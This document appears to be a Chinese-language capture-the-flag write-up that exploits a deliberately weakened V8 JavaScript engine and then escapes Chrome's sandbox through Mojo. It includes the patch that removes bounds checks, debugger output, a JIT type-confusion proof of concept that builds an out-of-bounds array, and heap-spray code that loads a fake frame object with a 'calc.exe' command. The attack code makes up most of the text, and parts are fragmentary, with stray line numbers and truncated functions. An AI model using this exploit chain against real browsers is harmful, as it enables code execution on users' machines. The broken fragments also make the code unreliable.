diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc index ef56d56e44..0d0091fcd8 100644 --- a/src/compiler/simplified-lowering.cc +++ b/src/compiler/simplified-lowering.cc @@ -187,12 +187,12 @@ bool CanOverflowSigned32(const Operator* op, Type left, Type right, // We assume the inputs are checked Signed32 (or known statically to be // Signed32). Technically, the inputs could also be minus zero, which we treat // as 0 for the purpose of this function. - if (left.Maybe(Type::MinusZero())) { - left = Type::Union(left, type_cache->kSingletonZero, type_zone); - } - if (right.Maybe(Type::MinusZero())) { - right = Type::Union(right, type_cache->kSingletonZero, type_zone); - } + // if (left.Maybe(Type::MinusZero())) { + // left = Type::Union(left, type_cache->kSingletonZero, type_zone); + // } + // if (right.Maybe(Type::MinusZero())) { + // right = Type::Union(right, type_cache->kSingletonZero, type_zone); + // } left = Type::Intersect(left, Type::Signed32(), type_zone); right = Type::Intersect(right, Type::Signed32(), type_zone); if (left.IsNone() || right.IsNone()) return false; @@ -1671,18 +1671,18 @@ class RepresentationSelector { VisitBinop<T>(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); if (lower<T>()) { - if (lowering->poisoning_level_ == - PoisoningMitigationLevel::kDontPoison && - (index_type.IsNone() || length_type.IsNone() || + if ((index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && index_type.Max() < length_type.Min()))) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. // TODO(neis): Move this into TypedOptimization? new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds; + DeferReplacement(node, node->InputAt(0)); + } else { + NodeProperties::ChangeOp( + node, simplified()->CheckedUint32Bounds(feedback, new_flags)); } - NodeProperties::ChangeOp( - node, simplified()->CheckedUint32Bounds(feedback, new_flags)); } } else if (p.flags() & CheckBoundsFlag::kConvertStringAndMinusZero) { VisitBinop<T>(node, UseInfo::CheckedTaggedAsArrayIndex(feedback),
case IrOpcode::kSpeculativeSafeIntegerAdd: case IrOpcode::kSpeculativeSafeIntegerSubtract: return VisitSpeculativeIntegerAdditiveOp<T>(node, truncation, lowering);
1 2 3 4 5 6 7 8 9 10 11
if (lower<T>()) { if (truncation.IsUsedAsWord32() || !CanOverflowSigned32(node->op(), left_feedback_type, right_feedback_type, type_cache_, graph_zone())) { ChangeToPureOp(node, Int32Op(node));
} else { ChangeToInt32OverflowOp(node); } }
为了研究CanOverflowSigned32的流程,我们使用如下代码进行测试
1 2 3 4 5 6 7 8 9 10 11
function opt(b) { var x = b ? 0 : 1; var y = b ? 2 : 3; var i = x + y; return i; }
for (var i=0;i<0x10000;i++) { opt(true); opt(false); }
In file: /home/sea/Desktop/v8/src/compiler/simplified-lowering.cc 185 bool CanOverflowSigned32(const Operator* op, Type left, Type right, 186 TypeCache const* type_cache, Zone* type_zone) { 187 // We assume the inputs are checked Signed32 (or known statically to be 188 // Signed32). Technically, the inputs could also be minus zero, which we treat 189 // as 0 for the purpose of this function. ► 190 if (left.Maybe(Type::MinusZero())) { 191 left = Type::Union(left, type_cache->kSingletonZero, type_zone); 192 } 193 if (right.Maybe(Type::MinusZero())) { 194 right = Type::Union(right, type_cache->kSingletonZero, type_zone); 195 } pwndbg> p left.Min() $2 = -1 pwndbg> p left.Max() $3 = 1 pwndbg> p right.Min() $4 = -2147483648 pwndbg> p right.Max() $5 = 2
可以知道,这里,left就是x,而right就是y,被patch的这段代码
1 2 3 4 5 6
190 if (left.Maybe(Type::MinusZero())) { 191 left = Type::Union(left, type_cache->kSingletonZero, type_zone); 192 } 193 if (right.Maybe(Type::MinusZero())) { 194 right = Type::Union(right, type_cache->kSingletonZero, type_zone); 195 }
function opt(b) { var x = b ? -1 : -0; var y = b ? 2 : -0x80000000; var i = x - y; return i == -0x80000000; }
for (var i=0;i<0x10000;i++) { opt(true); }
print(opt(false));
OOB数组构造
我们注意到,还有一处patch
1 2 3 4 5 6 7 8 9 10 11
- if (lowering->poisoning_level_ == - PoisoningMitigationLevel::kDontPoison && - (index_type.IsNone() || length_type.IsNone() || + if ((index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && index_type.Max() < length_type.Min()))) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. // TODO(neis): Move this into TypedOptimization? new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds; + DeferReplacement(node, node->InputAt(0));
var length_as_double = p64f(0x08042a89,0x200000); function opt(b) { //Range(-1,-0) var x = b ? -1 : -0; //Range(-1,-0x80000000) var y = b ? 1 : -0x80000000;
//Range(-1,0) var i = ((x - y) == -0x80000000); if (b) i = -1;
//将i转换为数字,否则会进行Deoptimization //Range(-1,0) //reality:1 i = i >> 0; //Range(0,1) //reality:2 i = i + 1; //Range(0,2) //reality:4 i = i * 2; //Range(1,3) //reality:5 i = i + 1 var arr = [1.1,2.2,3.3,4.4,5.5]; var oob = [1.1,2.2]; arr[i] = length_as_double; return oob; } for(let i = 0; i < 0x20000; i++) opt(true);
void RenderFrameImpl::DidCreateScriptContext(v8::Local<v8::Context> context, int world_id) { if (((enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI) || enable_mojo_js_bindings_) && IsMainFrame() && world_id == ISOLATED_WORLD_ID_GLOBAL) { // We only allow these bindings to be installed when creating the main // world context of the main frame. blink::WebContextFeatures::EnableMojoJS(context, true); }
function getAllocationConstructor() { let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); Mojo.bindInterface(blink.mojom.BlobRegistry.name,mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=280) { function ProgressClient(allocate) { function ProgressClientImpl() { } ProgressClientImpl.prototype = { onProgress: async (arg0) => { if (this.allocate.writePromise) { this.allocate.writePromise.resolve(arg0); } } } this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo(); var progress_client_req = mojo.makeRequest(this.ptr); this.binding = new mojo.AssociatedBinding(blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req);
//cmd var cmd = "calc.exe\x00"; var cmd_buf = new Uint8Array(fakeRFH.buffer); for (var i=0;i<cmd.length;i++) { cmd_buf[0x1c0 + i] = cmd.charCodeAt(i); }
//heap spray for (var i=0;i<spray_count;i++) { await allocate(fakeRFH.buffer); }